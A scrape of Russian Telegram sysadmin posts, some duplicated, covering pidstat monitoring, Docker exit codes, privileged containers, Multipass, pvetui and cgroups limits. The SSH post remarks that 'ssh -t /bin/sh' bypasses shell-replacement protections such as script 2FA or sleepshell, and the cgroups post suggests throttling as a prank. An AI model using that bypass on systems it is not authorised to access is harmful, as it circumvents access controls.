Здесь: я как-то поднимал проблему с торможением 1c на postgres.
🔤 🔤 🔥 🔤 🔤 🔤 🔤
Благодаря нашему коллеге @ovchinnikovmy, дело сдвинулось с мертвой точки. Спасибо ему большое за консультации и рекомендации по PG.
ㅤ
Мы начали попытки оптимизировать работу postgres для нашей задачи. И сразу столкнулись с проблемой. Ну, оптимизировали. А насколько?
Улучшение есть, а кто был виноват в тормозах PG или 1С?
Все может прекрасно работать в тестах, и становится колом, когда идет интенсивная работа в нескольких базах одновременно. Где горлышко бутылки - число ядер, частота или скорость диска, или может пора памяти добавить?
Там маленькая конторка. Фактически один сервак. Не будешь же zabbix ради этого ставить.
Онлайн можно посмотреть через
Остановился на пакете
Он собирает статистику каждые 10 сек по двум пользователям postgres (PG) и usr1cv83 (1С) в csv-лог (разделитель пробел, но это можно исправить).
Поскольку лог текстовый, дальше его можно вертеть с помощью awk/sort или просто в LibreOffice Calc.
pidstat ключи:
-r - память
-l - командная строка процесса
-d - диск
-h - табличный режим
-H - время unix
-U - username
-u - проц
gawk ключи:
🛠 #debug #linux
—
✅ @bashdays ✅ @linuxfactory ✅ @blog
Благодаря нашему коллеге @ovchinnikovmy, дело сдвинулось с мертвой точки. Спасибо ему большое за консультации и рекомендации по PG.
ㅤ
Мы начали попытки оптимизировать работу postgres для нашей задачи. И сразу столкнулись с проблемой. Ну, оптимизировали. А насколько?
Улучшение есть, а кто был виноват в тормозах PG или 1С?
Все может прекрасно работать в тестах, и становится колом, когда идет интенсивная работа в нескольких базах одновременно. Где горлышко бутылки - число ядер, частота или скорость диска, или может пора памяти добавить?
Там маленькая конторка. Фактически один сервак. Не будешь же zabbix ради этого ставить.
Онлайн можно посмотреть через
nmon, top/htop. nmon даже позволяет записывать данные в лог, и есть программа, которая позволяет генерить html с отчетами, но там все интегрально. По системе. А хочется по процессам.Остановился на пакете
sysstat. Это такой консольный zabbix. Он позволяет собирать статистику по процессам. Анализировать можно память, проц, диск, стэк. Причем по каждому PID в отдельности и прямо в консоли. В общем, все, что нужно. Для большего удобства я набросал скрипт.#!/bin/bash
# 20251005
# apt install sysstat gawk
# работа с 9 до 18, запись с 8:30 до 18:30
# запуск через cron
# 30 8 * * * /root/work/stat/stat.sh &
declare -x PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
declare -i INTERVAL_SEC=10
declare -i COUNT=3600 # итого 10 часов
declare -i WEEK_DAY;printf -v WEEK_DAY "%(%-u)T"
declare LOG="$0_${WEEK_DAY}.csv"
pidstat -r -l -d -H -h -U -u $INTERVAL_SEC $COUNT |
gawk 'NR<4;$2=="usr1cv83"||$2=="postgres"{$1=strftime("%Y%m%d_%H%M%S",$1);print}'>"$LOG"
Он собирает статистику каждые 10 сек по двум пользователям postgres (PG) и usr1cv83 (1С) в csv-лог (разделитель пробел, но это можно исправить).
Поскольку лог текстовый, дальше его можно вертеть с помощью awk/sort или просто в LibreOffice Calc.
pidstat ключи:
-r - память
-l - командная строка процесса
-d - диск
-h - табличный режим
-H - время unix
-U - username
-u - проц
gawk ключи:
NR<4 - заголовок (легенда) из трех строк$2=="usr1cv83"||$2=="postgres" - фильтрация по username$1=strftime("%Y%m%d_%H%M%S",$1) - удобный формат времени.LOG="$0_${WEEK_DAY}.csv" - Недельная ротация. По одному на день.—
Please open Telegram to view this post
VIEW IN TELEGRAM
Сколько линуксоида не корми, он все равно на винду поглядывает.
Накопал я тут тебе WinBoat.
Эта штука запускает Windows-приложения прямо в Linux с максимально «нативной» интеграцией: окна приложений — как обычные X/Wayland-окна, общий доступ к файлам и даже полноценный Windows-десктоп.
Что в коробке
- Запустит любое приложение, которое работает в Windows — в том числе коммерческие программы.
Ради прикола запустил Excel, ну что сказать, минимум приседаний и танцев с бубном. Работает прям отлично.
- Окна приложений интегрируются в рабочий стол Linux, не просто RDP в едином окне, а RemoteApp-композитинг.
ㅤ
- Автоматические инсталляции через GUI — выбираешь параметры, остальное делает WinBoat.
- Файловая интеграция, домашний каталог монтируется в винду.
- Полный Windows-десктоп по запросу (если нужно работать внутри полноценной виртуальной машины).
Что под капотом
Это Electron-приложение + сопутствующий «guest server». Windows запускается как VM внутри контейнера Docker. А между хостом и гостем общаются через WinBoat Guest Server.
Затем для прорисовки отдельных окон используется FreeRDP + Windows RemoteApp — это и даёт ложное ощущение нативности.
Штука интересная возможно бы я ее использовал, если бы плотно сидел на линуксе.
Так что приглядись, глядишь установишь в хозяйстве приживется.
🛠 #утилиты #utilites #linux
—
✅ @bashdays ✅ @linuxfactory ✅ @blog
Накопал я тут тебе WinBoat.
Эта штука запускает Windows-приложения прямо в Linux с максимально «нативной» интеграцией: окна приложений — как обычные X/Wayland-окна, общий доступ к файлам и даже полноценный Windows-десктоп.
Что в коробке
- Запустит любое приложение, которое работает в Windows — в том числе коммерческие программы.
Ради прикола запустил Excel, ну что сказать, минимум приседаний и танцев с бубном. Работает прям отлично.
- Окна приложений интегрируются в рабочий стол Linux, не просто RDP в едином окне, а RemoteApp-композитинг.
ㅤ
- Автоматические инсталляции через GUI — выбираешь параметры, остальное делает WinBoat.
- Файловая интеграция, домашний каталог монтируется в винду.
- Полный Windows-десктоп по запросу (если нужно работать внутри полноценной виртуальной машины).
Что под капотом
Это Electron-приложение + сопутствующий «guest server». Windows запускается как VM внутри контейнера Docker. А между хостом и гостем общаются через WinBoat Guest Server.
Затем для прорисовки отдельных окон используется FreeRDP + Windows RemoteApp — это и даёт ложное ощущение нативности.
Штука интересная возможно бы я ее использовал, если бы плотно сидел на линуксе.
Так что приглядись, глядишь установишь в хозяйстве приживется.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
Фиксим кривой Exit Code в docker
Во время работы с docker контейнером наткнулся на неочевидный код выхода (exit code).
ㅤ
Суть проблемы: Когда программа внутри контейнера падает с
То есть контейнер маскирует реальную причину падения приложения. Соответственно дальнейший дебаг не имеет смысла, потому что код выхода не соответствует действительности.
Давай проверим:
Пишем Dockerfile:
Собираем и запускаем:
А на выходе у нас код:
В примере выше код выхода — 139 = 128 + 11, где
Чтобы это пофиксить, нужно захерачить хак:
После этого контейнер будет возвращать корректный код
Вариант рабочий, но костыльный. Правильнее использовать ключ
Если запустить контейнер с флагом
Почему init все починил?
Давай копнём глубже. В Linux процесс с PID 1 (init) имеет нестандартную семантику сигналов:
- Если у PID 1 для сигнала стоит действие «по умолчанию» (никакого обработчика), то сигналы с действием
- PID 1 должен забирать зомби-процессы (делать
- PID 1 обычно пробрасывает сигналы дальше — тому «настоящему» приложению, которое оно запускает.
Когда мы запускаем контейнер без
Наш сценарий с
Для обычного процесса с PID ≠ 1 это приводит к завершению с кодом
Ну а дальше вступают в силу детали реализации рантайма/сишной библиотеки, как именно контейнерный рантайм считывает статус.
На практике это может приводить к тому, что ты видишь
И тут проблема не в docker, а в том, что приложение неожиданно оказалось в роли init-процесса и попало под его особые правила.
Вот и вся наука. Изучай.
🛠 #docker #devops #linux #debug
—
✅ @bashdays ✅ @linuxfactory ✅ @blog
Во время работы с docker контейнером наткнулся на неочевидный код выхода (exit code).
Про exit codes (коды выхода) писал тут
ㅤ
Суть проблемы: Когда программа внутри контейнера падает с
abort(), Docker возвращает неправильный код выхода. Вместо ожидаемого 134 (128 + SIGABRT), контейнер отдаёт 139 (128 + SIGSEGV).То есть контейнер маскирует реальную причину падения приложения. Соответственно дальнейший дебаг не имеет смысла, потому что код выхода не соответствует действительности.
Давай проверим:
#include <cstdlib>
int main() {
std::abort();
return 0;
}
Пишем Dockerfile:
FROM ubuntu:22.04
RUN apt-get update \
&& apt-get -y install \
build-essential \
&& rm -rf /var/lib/apt/lists/*
COPY ./ /src/
WORKDIR /src/
RUN g++ main.cpp -o app
WORKDIR /
CMD ["/src/app"]
Собираем и запускаем:
docker build -f ./Dockerfile -t sigabort_test:latest .
docker run --name test sigabort_test:latest ; echo $?
А на выходе у нас код:
139.В примере выше код выхода — 139 = 128 + 11, где
11 соответствует SIGSEGV (ошибка сегментации), а не 134 = 128 + 6, что был бы SIGABRT (аварийное завершение).Чтобы это пофиксить, нужно захерачить хак:
CMD ["bash", "-c", "/src/app ; exit $(echo $?)"]
docker run --name test sigabort_test:latest ; echo $?
bash: line 1: 6 Aborted /src/app
134
После этого контейнер будет возвращать корректный код
134.Вариант рабочий, но костыльный. Правильнее использовать ключ
--init.Если запустить контейнер с флагом
--init, используя исходную команду CMD ["/src/app"], мы получим ожидаемый 134 код. Что нам и нужно.docker run --init --name test sigabort_test:latest ; echo $?
134
Почему init все починил?
Давай копнём глубже. В Linux процесс с PID 1 (init) имеет нестандартную семантику сигналов:
- Если у PID 1 для сигнала стоит действие «по умолчанию» (никакого обработчика), то сигналы с действием
terminate игнорируются ядром. Это сделано, чтобы случайным SIGTERM/SIGINT нельзя было «уронить» init.- PID 1 должен забирать зомби-процессы (делать
wait() за умершими детьми). Если этого не делать, накопятся зомби.- PID 1 обычно пробрасывает сигналы дальше — тому «настоящему» приложению, которое оно запускает.
Когда мы запускаем контейнер без
--init, приложение становится PID 1.Большинство обычных приложений (на C/C++/Go/Node/Java и т.д.) не написаны как «инит-системы», они не настраивают обработку всех сигналов, не занимаются «реапингом» детей и не пробрасывают сигналы. В результате вылазиют баги.
Наш сценарий с
abort() (который поднимает SIGABRT) упирается именно в правила для PID 1. abort() внутри процесса поднимает SIGABRT.Для обычного процесса с PID ≠ 1 это приводит к завершению с кодом
128 + 6 = 134. Но если процесс — PID 1, ядро игнорирует «терминирующие» сигналы при действии по умолчанию. В результате стандартные ожидания вокруг SIGABRT ломаются.Ну а дальше вступают в силу детали реализации рантайма/сишной библиотеки, как именно контейнерный рантайм считывает статус.
На практике это может приводить к тому, что ты видишь
139 (SIGSEGV) вместо ожидаемого 134 (SIGABRT).И тут проблема не в docker, а в том, что приложение неожиданно оказалось в роли init-процесса и попало под его особые правила.
Вот и вся наука. Изучай.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 70
Fedora Post Install
ㅤ
Набрёл тут на Bash поделку CRIMS0NH4T.
В двух словах — делает за тебя необходимую рутину после чистой установки Fedora.
— Настройка DNF
— Установка RMP Fusion
— Установка кодеков
— GPU драйвера (Intel, Nvidia, AMD)
— Тюнинг производительности
— Оптимизация Gnome
Как я понял, версия прям ранняя альфа-альфа и активно допиливается автором.
Я бы минимально запатчил так:
Хотя
Как концепт, вполне можно форкнуть и подсмотреть какие-то штуки, возможно в своих поделках тебе что-то сгодится.
🛠 #linux #tweaks
—
✅ @bashdays ✅ @linuxfactory ✅ @blog
ㅤ
Набрёл тут на Bash поделку CRIMS0NH4T.
В двух словах — делает за тебя необходимую рутину после чистой установки Fedora.
— Настройка DNF
— Установка RMP Fusion
— Установка кодеков
— GPU драйвера (Intel, Nvidia, AMD)
— Тюнинг производительности
— Оптимизация Gnome
Как я понял, версия прям ранняя альфа-альфа и активно допиливается автором.
Я бы минимально запатчил так:
- set -u
+ set -euo pipefail
+ IFS=$'\n\t'
- readonly LOG_FILE="/tmp/crimsonhat_$(date +%Y%m%d_%H%M%S).log"
+ LOG_FILE="$(mktemp /tmp/crimsonhat.XXXXXX.log)"
+ readonly LOG_FILE
- run_with_progress() { local message="$1" shift log INFO "$message" if "$@" >/dev/null 2>&1; then return 0 else return 1 fi }
+ run_with_progress() {
+ local message="$1"; shift
+ log INFO "$message"
+ if "$@" >>"$LOG_FILE" 2>&1; then
+ return 0
+ else
+ return 1
+ fi
+}
- disk_type=$(lsblk -d -o name,rota | awk 'NR==2 {print $2}')
- primary_disk=$(lsblk -d -o name,rota | awk 'NR==2 {print $1}')
+ read -r primary_disk disk_type < <(lsblk -dn -o NAME,ROTA | head -n1)
...
- current_scheduler=$(cmd < "$scheduler_path" 2>/dev/null | grep -o '\[.*\]' | tr -d '[]')
+ current_scheduler=$(tr -d '\n' < "$scheduler_path" | sed -n 's/.*\[\(.*\)\].*/\1/p')
Хотя
set -euo pipefail тут конечно спорный вариант, можно наступить на грабли.pipefail заставляет конвейер возвращать ошибку, если любая команда в скрипте упала. Так что применив set -u автор обезопасил себя от неочевидных багов.
Как концепт, вполне можно форкнуть и подсмотреть какие-то штуки, возможно в своих поделках тебе что-то сгодится.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 24
Сегодня поделюсь историей, которая началась плохо, но закончилась хорошо.
ㅤ
🔤 🔤 🔤 🔤 🔤 🔤 🔤
В общем, у меня домашний шлюз - mini PC на debian. А поскольку мощность для шлюза избыточна, приходится использовать ее не по прямому назначению.
Поставил туда
Сами понимаете, что каждый раз в консоли набирать
И вот сегодня я накосячил с алиасом настолько знатно, что bash упал и я покинул чат. И после этого не смог подключиться по ssh.
Если бы я правил
Думал уже придется лезть на чердак, снимать миниписюк и править файлы локально, но все оказалось гораздо проще. Оказывается есть даже два способа, чтобы поправить ситуацию.
1. Выполнить
Вместо
2. Подключиться по sftp, скачать
В общем, все сработало нормально. Алиас исправил. Все работает.
А подключился бы, как положено, при правке важных файлов двумя ssh-сессиями. И не было бы этой статьи.
Кстати, использование именно первого пункта позволяет обходить тривиальные защиты ssh (типа скриптовой двухфакторной аутентификации или использование sleepshell для пользователя, которому только разрешен проброс портов), основанные на простой замене оболочки пользователя в
При выполнении скрипта, хакер уже аутентифицирован в системе, и может просто заменить оболочку.
🛠 #linux #ssh #fix
—
✅ @bashdays ✅ @linuxfactory ✅ @blog
ㅤ
В общем, у меня домашний шлюз - mini PC на debian. А поскольку мощность для шлюза избыточна, приходится использовать ее не по прямому назначению.
Поставил туда
transmission-daemon, и рулю в консоли через transmission-remote.Сами понимаете, что каждый раз в консоли набирать
transmission-remote да еще с ключами — кнопки сотрутся, поэтому пользуюсь алиасами.И вот сегодня я накосячил с алиасом настолько знатно, что bash упал и я покинул чат. И после этого не смог подключиться по ssh.
Если бы я правил
sshd_config, я бы, конечно, подключился двумя сессиями, и все восстановил. Кто ж знал, что правка .bashrc тоже опасна.Думал уже придется лезть на чердак, снимать миниписюк и править файлы локально, но все оказалось гораздо проще. Оказывается есть даже два способа, чтобы поправить ситуацию.
1. Выполнить
ssh user@host -t /bin/shВместо
/bin/sh можно указать любую оболочку (их примерный список можно глянуть в /etc/shells). Понятно, что оболочка должна быть установлена на удаленной машине.2. Подключиться по sftp, скачать
.bashrc, локально отредактировать и залить обратно.В общем, все сработало нормально. Алиас исправил. Все работает.
А подключился бы, как положено, при правке важных файлов двумя ssh-сессиями. И не было бы этой статьи.
Кстати, использование именно первого пункта позволяет обходить тривиальные защиты ssh (типа скриптовой двухфакторной аутентификации или использование sleepshell для пользователя, которому только разрешен проброс портов), основанные на простой замене оболочки пользователя в
/etc/passwd.При выполнении скрипта, хакер уже аутентифицирован в системе, и может просто заменить оболочку.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
5 56
Надоел и приелся VirtualBox/VMWare? Хочется новенького?
Да легко, опять же эта новая херабора как-то мимо многих прошла, включая меня. Нет это не LXC, vagrant и даже не docker.
Короче, это — Multipass от Canonical. И да, полностью бесплатная и с мордой.
ㅤ
Выдумать ничего не буду, лови нативку с сайта:
Работает под Linux, Wiundows, Mac
Что же это за зверь?
Multipass использует доступный гипервизор в зависимости от платформы:
- Linux — KVM
- macOS — HyperKit или QEMU
- Windows — Hyper-V или VirtualBox (в новых версиях QEMU)
Можно управлять как через морду, так и через командную строку. Это развязывает руки. Например, можно накодить себе bash скрипт и через него поднимать виртуалки под лабы.
Чё прикольно, для него есть Terraform провайдер, ну прям не инструмент, а золото.
Работает элементарно, если через морду — выбираешь дистрибутив, накручиваешь ползунки и жмешь Launch, через 40 секунд у тебя готовая виртуалка.
Ну либо headless (через командную):
Основные команды:
Из дистрибутивов только Ubuntu, но этого достаточно чтобы что-то протестировать либо погонять. Ребята в LF активно этим инструментом пользуются и создают тестовые кубер-кластера, ну и ансибл оттачивают.
Настроек там жопой ешь, так что можно и статические айпишники мутить, выбирать сетевые режимы и многое другое.
В общем рекомендую, инструмент зачетный, никакой ёбли как VBox и VMWare.
🛠 #devops #vm #linux
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Да легко, опять же эта новая херабора как-то мимо многих прошла, включая меня. Нет это не LXC, vagrant и даже не docker.
Дело пахнет писюнами…
Короче, это — Multipass от Canonical. И да, полностью бесплатная и с мордой.
ㅤ
Выдумать ничего не буду, лови нативку с сайта:
Получитепо ебалумгновенную виртуальную машину Ubuntu с помощью одной команды. Multipass может запускать виртуальные машины и настраивать их с помощью cloud-init, как в общедоступном облаке. Прототип вашего облака запускается локально и бесплатно.
Работает под Linux, Wiundows, Mac
Что же это за зверь?
Multipass использует доступный гипервизор в зависимости от платформы:
- Linux — KVM
- macOS — HyperKit или QEMU
- Windows — Hyper-V или VirtualBox (в новых версиях QEMU)
Можно управлять как через морду, так и через командную строку. Это развязывает руки. Например, можно накодить себе bash скрипт и через него поднимать виртуалки под лабы.
Чё прикольно, для него есть Terraform провайдер, ну прям не инструмент, а золото.
terraform {
required_providers {
multipass = {
source = "larstobi/multipass"
version = "~> 1.4.2"
}
}
}Работает элементарно, если через морду — выбираешь дистрибутив, накручиваешь ползунки и жмешь Launch, через 40 секунд у тебя готовая виртуалка.
Ну либо headless (через командную):
Основные команды:
multipass launch --name foo
multipass exec foo -- lsb_release -a
multipass list
multipass stop foo bar
multipass start foo
multipass delete bar
multipass purge
multipass find
multipass launch -n bar --cloud-init cloud-config.yaml
multipass help
Из дистрибутивов только Ubuntu, но этого достаточно чтобы что-то протестировать либо погонять. Ребята в LF активно этим инструментом пользуются и создают тестовые кубер-кластера, ну и ансибл оттачивают.
Настроек там жопой ешь, так что можно и статические айпишники мутить, выбирать сетевые режимы и многое другое.
В общем рекомендую, инструмент зачетный, никакой ёбли как VBox и VMWare.
—
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
5 62
А вот это нам надо!
TUI админка для Proxmox. И да, ее можно поставить себе локально и цепануть к ней все твои Proxmox кластера, которые находятся где-то в сети.
ㅤ
Называется всё это добро — pvetui
Работает под всеми операционками, так как реализован на GO.
А зачем? Ну я заебался каждый раз лезть в браузер, чтобы сделать какие-то рутинные действия, да и айпишники я никогда не помню чтобы к ним по ssh подключиться. А через
Установка и запуск:
Под другие ОС:
При первом запуске утилита попросит сконфигурировать её. Жмем пару раз Enter, открывается редактор конфига, заполняем необходимые поля.
Я заполнил URL, логин и пароль от панели Proxmox. Чтобы оно не орало, нужно стереть данные в полях API, тогда оно даст сохранить конфигурационный файл.
Инициализация, закончена, видим сообщение:
Запускаем морду и смотрим что получилось.
Эту штуку можно повесить на alias либо прописать в PATH, чтобы полные пути до бинарника каждый раз не писать.
А получилось у нас прям заебись. Теперь я нажимаю ALT+2 и попадаю в список всех своих виртуальных машин. Стрелочками выбираю нужную мне машину и нажимаю букву «m», открывается менюшка.
В менюшке можно сразу провалиться в машину по SSH, что мне и нужно. Но это еще не всё, там и ребуты и миграции, даже VNC есть (нужен xdg). Короче базовый минимум поадминить присутствует.
Да, если нажать «ESC» то откроется еще одна глобальная менюшка для конфигурации самой утилиты, выбор профилей, управление плагинами и т.п.
Короче явки-ссылки я тебе дал, дальше сам смотри, всё там гибко конфигурируется и настраивается. И тем более TUI интерфейсы сейчас прям в трендах.
Хорошей тебе рабочей недели! Не болей!
🛠 #selfhosting #linux #devops
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
TUI админка для Proxmox. И да, ее можно поставить себе локально и цепануть к ней все твои Proxmox кластера, которые находятся где-то в сети.
ㅤ
Называется всё это добро — pvetui
Работает под всеми операционками, так как реализован на GO.
А зачем? Ну я заебался каждый раз лезть в браузер, чтобы сделать какие-то рутинные действия, да и айпишники я никогда не помню чтобы к ним по ssh подключиться. А через
pvetui такое можно провернуть в два счета.Ты скажешь — дак сделай алиасы для айпишников и цепляйся к нужным виртуалкам. Справедливо, но мне лень. Тем более виртуалки у меня постоянно создаются, удаляеются и я ебал каждый раз алиасы делать.
Установка и запуск:
go install github.com/devnullvoid/pvetui/cmd/pvetui@latest
/home/user/go/bin/pvetui
Под другие ОС:
yay -S pvetui-bin
yay -S pvetui-git
brew install --cask devnullvoid/pvetui/pvetui
scoop bucket add pvetui https://github.com/devnullvoid/scoop-pvetui
scoop install pvetui
# либо из исходников
git clone https://github.com/devnullvoid/pvetui.git
cd pvetui
make install
При первом запуске утилита попросит сконфигурировать её. Жмем пару раз Enter, открывается редактор конфига, заполняем необходимые поля.
Я заполнил URL, логин и пароль от панели Proxmox. Чтобы оно не орало, нужно стереть данные в полях API, тогда оно даст сохранить конфигурационный файл.
Но опять же если у тебя API ключ, делаешь под своё конфигурацию.
Инициализация, закончена, видим сообщение:
✅ Configuration is ready!
🔄 Please re-run 'pvetui' to start the application with your new configuration.
🚪 Exiting.
Запускаем морду и смотрим что получилось.
/home/user/go/bin/pvetui
Эту штуку можно повесить на alias либо прописать в PATH, чтобы полные пути до бинарника каждый раз не писать.
А получилось у нас прям заебись. Теперь я нажимаю ALT+2 и попадаю в список всех своих виртуальных машин. Стрелочками выбираю нужную мне машину и нажимаю букву «m», открывается менюшка.
В менюшке можно сразу провалиться в машину по SSH, что мне и нужно. Но это еще не всё, там и ребуты и миграции, даже VNC есть (нужен xdg). Короче базовый минимум поадминить присутствует.
Да, если нажать «ESC» то откроется еще одна глобальная менюшка для конфигурации самой утилиты, выбор профилей, управление плагинами и т.п.
Короче явки-ссылки я тебе дал, дальше сам смотри, всё там гибко конфигурируется и настраивается. И тем более TUI интерфейсы сейчас прям в трендах.
Хорошей тебе рабочей недели! Не болей!
—
Please open Telegram to view this post
VIEW IN TELEGRAM
7 71
Docker Privileged VS Non-privileged
Давай сразу к примерам:
➡️ Non-privileged
Ты ребёнок, тебя посадили в песочницу, дали совок и формочки, сказали — слышь еблан, играть можно только здесь!
Ты можешь:
— лепить куличики и кренделя
— копать ямки и могилки для жуков
— сыпать песочек в глаза другим детям
— строить свой маленький мир
Ты не можешь:
— вылазить из песочницы
— пойти на стройку и доебывать сторожа
— насрать в ладошку и кидаться этим в людей
— послать всех нахуй и сделать по своему
Ты работаешь строго в пределах песочницы. Безопасно, предсказуемо, контролируемо, изолировано. Ты бездушный non-privileged контейнер.
➡️ Privileged
Ты ребёнок, но всем на тебя поебать, ты сам выбираешь сидеть тебе в песочнице или кидаться с балкона кирпичами в пустые головы прохожих. У тебя развязаны руки, любые безумные поступки позволительны. У тебя есть ключи от всех дверей и тебе за это ничего не будет.
Всё это происходит, когда ты запускаешь:
Твой контейнер может:
— управлять сетевыми интерфейсами хоста
— лезть в
— монтировать что угодно куда угодно
— работать как полноценная виртуалка
— запускать systemd, модифицировать ядро, iptables, модули и т.п
То есть, это уже не ребёнок в песочнице, а ребёнок со швейцарским армейским ножом, запертый в серверной.
➡️ Non-privileged (обычный контейнер)
- Ограниченный доступ к Linux capabilities
- Нет доступа к аппаратным устройствам
- Нет прав на управление сетью хоста
- Запуск отдельных процессов, а не мини-ОС
- Работает в namespace'ах и cgroup'ах изоляции
Используется для:
- веб-сервисов
- приложений
- баз данных
- CI/CD runner’ов (если привилегия не нужна)
- всего, что «из коробки» работает в Docker
➡️ Privileged (контейнер-всевластия)
- Доступ ко всем Linux capabilities
- Может лезть в
- Может менять сетевые интерфейсы хоста
- Может работать как виртуалка
- Может запускать systemd
- Может cломать или убить сеть, firewall и модули ядра
Используется для:
- контейнеров, которым нужны реальные устройства
- low-level инструментов: tcpdump, wireshark, iptables
- Docker-in-Docker в особых сценариях
- Kubernetes kubelet / CNI плагины
- экспериментов, когда нужно «полный root над всем»
Что выбрать?
Мой алгоритм:
В большинстве случаев лучше выдать минимум необходимых прав, чем сразу открывать ящик пандоры.
Ну и для отладки
На днях продолжим…
🛠 #linuxfactory #linux #docker
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Как говорится — «Нам нужно досье на этого мисье»
Давай сразу к примерам:
Ты ребёнок, тебя посадили в песочницу, дали совок и формочки, сказали — слышь еблан, играть можно только здесь!
Ты можешь:
— лепить куличики и кренделя
— копать ямки и могилки для жуков
— сыпать песочек в глаза другим детям
— строить свой маленький мир
Ты не можешь:
— вылазить из песочницы
— пойти на стройку и доебывать сторожа
— насрать в ладошку и кидаться этим в людей
— послать всех нахуй и сделать по своему
Ты работаешь строго в пределах песочницы. Безопасно, предсказуемо, контролируемо, изолировано. Ты бездушный non-privileged контейнер.
Ты ребёнок, но всем на тебя поебать, ты сам выбираешь сидеть тебе в песочнице или кидаться с балкона кирпичами в пустые головы прохожих. У тебя развязаны руки, любые безумные поступки позволительны. У тебя есть ключи от всех дверей и тебе за это ничего не будет.
Всё это происходит, когда ты запускаешь:
docker run --privileged
Твой контейнер может:
— управлять сетевыми интерфейсами хоста
— лезть в
/dev— монтировать что угодно куда угодно
— работать как полноценная виртуалка
— запускать systemd, модифицировать ядро, iptables, модули и т.п
То есть, это уже не ребёнок в песочнице, а ребёнок со швейцарским армейским ножом, запертый в серверной.
- Ограниченный доступ к Linux capabilities
- Нет доступа к аппаратным устройствам
- Нет прав на управление сетью хоста
- Запуск отдельных процессов, а не мини-ОС
- Работает в namespace'ах и cgroup'ах изоляции
Используется для:
- веб-сервисов
- приложений
- баз данных
- CI/CD runner’ов (если привилегия не нужна)
- всего, что «из коробки» работает в Docker
- Доступ ко всем Linux capabilities
- Может лезть в
/dev, работать с устройствами- Может менять сетевые интерфейсы хоста
- Может работать как виртуалка
- Может запускать systemd
- Может cломать или убить сеть, firewall и модули ядра
Используется для:
- контейнеров, которым нужны реальные устройства
- low-level инструментов: tcpdump, wireshark, iptables
- Docker-in-Docker в особых сценариях
- Kubernetes kubelet / CNI плагины
- экспериментов, когда нужно «полный root над всем»
Что выбрать?
Мой алгоритм:
Задача не требует низкоуровневых операций?⚪ всегда non-privileged.
Нужно одно конкретное действие (например NET_ADMIN)?⚪ --cap-add вместо privileged.
Нужен доступ к устройству?⚪ --device вместо полного доступа.
Ничего из этого не помогает?⚪ тогда уже --privileged.
В большинстве случаев лучше выдать минимум необходимых прав, чем сразу открывать ящик пандоры.
Ну и для отладки
privileged прям мастхев, чтобы исключить какие-то внешние факторы, от которых могут лезть баги.На днях продолжим…
—
Please open Telegram to view this post
VIEW IN TELEGRAM
13 65
Чтоб тебе такого интересного рассказать… а давайка я научу тебя весьма полезной теме. Сегодня будем резать аппетиты.
Создаем синтетику
Чмодим и запускаем. По итогу твой проц начинает хуярить как не в себя, выжирая на 100500% все свободные ресурсы. Хуита!
ㅤ
Давай это исправим и разрешим скрипту хуячить лишь на 50%.
Для начала проверяем, сможем ли мы это сделать
Если получил выхлоп, то в большинстве случаев у тебя всё получится.
Создадим клетку «bashdays.slice»:
Здесь мы включаем нужные контроллеры для дочерних директорий, запихиваем туда текущий shell и в последней строчке выставляем 50% для CPU.
Снова запускаем первый скрипт-пожиратель и наблюдаем как проц перестал хуярить как не в себя и ограничен теперь половинкой (50%). Отличная работа!
Аналогично можно сделать и с RAM и с IO.
Создаем еще одну синтетику:
Жрём память пачками по 100 МБ. Сначала увидишь замедление (reclaim), потом — пиздец! Нас выкинет локальный OOM, но только внутри cgroup, а не всей системы.
Посмотреть статистику в реальном времени:
Ну и давай посмотрим IO (тормозим винт и превращаем его в флешку USB1.1). Цель — мы хотим, чтобы процесс читал с диска не быстрее 10 МБ/с:
Узнаем major:minor:
Допустим, диск —
И запускаем:
Теперь твой винт начинает работать как древняя флешка, хотя железо у тебя современное.
Короче такие вот приколы! Изучай!
🛠 #linux #cgroup #debug
—
💬 Bashdays 📲 MAX 🌐 LF 🔵 Blog
Тема крайне полезная, бери на вооружение, однажды в хозяйстве однозначно сгодится.
Создаем синтетику
#!/bin/bash
while :; do :; done
Чмодим и запускаем. По итогу твой проц начинает хуярить как не в себя, выжирая на 100500% все свободные ресурсы. Хуита!
ㅤ
Давай это исправим и разрешим скрипту хуячить лишь на 50%.
Для начала проверяем, сможем ли мы это сделать
mount | grep cgroup2
cat /sys/fs/cgroup/cgroup.controllers
Если получил выхлоп, то в большинстве случаев у тебя всё получится.
Создадим клетку «bashdays.slice»:
sudo su
cd /sys/fs/cgroup
mkdir bashdays.slice
echo "+cpu +memory +io" > cgroup.subtree_control
cd bashdays.slice
echo $$ > cgroup.procs
echo "50000 100000" > cpu.max
Здесь мы включаем нужные контроллеры для дочерних директорий, запихиваем туда текущий shell и в последней строчке выставляем 50% для CPU.
Снова запускаем первый скрипт-пожиратель и наблюдаем как проц перестал хуярить как не в себя и ограничен теперь половинкой (50%). Отличная работа!
Что такое cgroups — это такая комната наказаний в ядре Linux. Ты создаёшь группу процессов, ядро начинает следить за их CPU, памятью, диском, IO и карать, если они жрут больше положенного.
Аналогично можно сделать и с RAM и с IO.
echo $((512*1024*1024)) > memory.max
Создаем еще одну синтетику:
#!/bin/bash
blocks=()
while true; do
blocks+=("$(head -c 104857600 </dev/zero | tr '\0' 'A')")
echo "Allocated ${#blocks[@]}00 MB"
sleep 1
done
Жрём память пачками по 100 МБ. Сначала увидишь замедление (reclaim), потом — пиздец! Нас выкинет локальный OOM, но только внутри cgroup, а не всей системы.
Посмотреть статистику в реальном времени:
cat memory.current
cat memory.events
Ну и давай посмотрим IO (тормозим винт и превращаем его в флешку USB1.1). Цель — мы хотим, чтобы процесс читал с диска не быстрее 10 МБ/с:
Узнаем major:minor:
lsblk --output NAME,MAJ:MIN
Допустим, диск —
8:0 (типичное для /dev/sda).echo "8:0 rbps=10485760" > io.max
И запускаем:
#!/bin/bash
dd if=/dev/sda of=/dev/null bs=1M
Теперь твой винт начинает работать как древняя флешка, хотя железо у тебя современное.
Кстати это отличные способы заподлостроения либо как вариант подойдут для технических собеседований.
